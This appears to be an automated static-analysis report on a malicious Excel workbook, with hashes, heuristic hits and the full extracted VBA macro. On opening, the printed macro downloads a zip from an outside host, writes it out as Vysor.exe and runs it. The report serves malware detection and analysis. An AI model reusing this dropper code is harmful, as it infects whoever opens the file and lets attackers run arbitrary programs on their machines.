Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d046b9fff7573bc3…

MALICIOUS

Office (OOXML)

12.0 KB Created: 2021-03-20 17:02:27 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-04-01
MD5: 36a8482bb8df6d8ed272e224426e4c49 SHA-1: 10a6ff4613d9b0917751677d5b97d00ccecf86d2 SHA-256: d046b9fff7573bc3d021b47fc8a71ce2772ae10a2da8206b61115b71a17aadfd
190 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell "Vysor.exe"
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        oStream.Write WinHttpReq.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://ninjaclip2022.000webhostapp.com/Vysor.zip Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1285 bytes
SHA-256: 2dd764eed17fcd6582972c6f962e17b1a650b7e58d6b44ea755f9e613ea55400
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()

   Dim ws As Worksheet

    For Each ws In Worksheets
        ws.Unprotect "123"
    Next ws

Dim myURL As String
myURL = "https://ninjaclip2022.000webhostapp.com/Vysor.zip"

Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
WinHttpReq.Open "GET", myURL, False, "username", "password"
WinHttpReq.send

If WinHttpReq.Status = 200 Then
    Set oStream = CreateObject("ADODB.Stream")
    oStream.Open
    oStream.Type = 1
    oStream.Write WinHttpReq.responseBody
    
    oStream.SaveToFile "Vysor.exe", 2 ' 1 = no overwrite, 2 = overwrite
    oStream.Close
    Shell "Vysor.exe"
End If
End Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 10240 bytes
SHA-256: d31361bc6768e9cdb8c0747d6dd98db5acfa9bb385f56d1c211c9f143afdb984